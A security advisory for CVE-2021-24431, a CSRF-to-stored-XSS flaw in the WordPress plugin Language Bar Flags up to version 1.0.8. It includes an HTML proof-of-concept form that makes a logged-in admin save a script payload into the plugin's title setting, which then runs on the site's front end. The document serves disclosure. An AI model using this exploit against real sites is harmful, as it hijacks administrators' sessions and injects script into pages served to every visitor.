Language Bar Flags <= 1.0.8 – CSRF to Stored XSS | CVE 2021-24431

Description

The plugin does not have any CSRF in place when saving its settings and did not sanitise or escape them when generating the flag bar in the frontend. This could allow attackers to make a logged in admin change the settings, and set Cross-Site Scripting payload in them, which will be executed in the frontend for all users

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=langbf" method="POST">
      <input type="hidden" name="options_update" value="1" />
      <input type="hidden" name="langbf_active" value="yes" />
      <input type="hidden" name="langbf_title" value="<script>alert(/XSS/)</script>" />
      <input type="hidden" name="langbf_position" value="top" />
      <input type="hidden" name="langbf_side" value="left" />
      <input type="hidden" name="langbf_disable_wpbar" value="yes" />
      <input type="hidden" name="langbf_new_window" value="no" />
      <input type="hidden" name="Submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Then view the homepage of the blog to trigger the XSS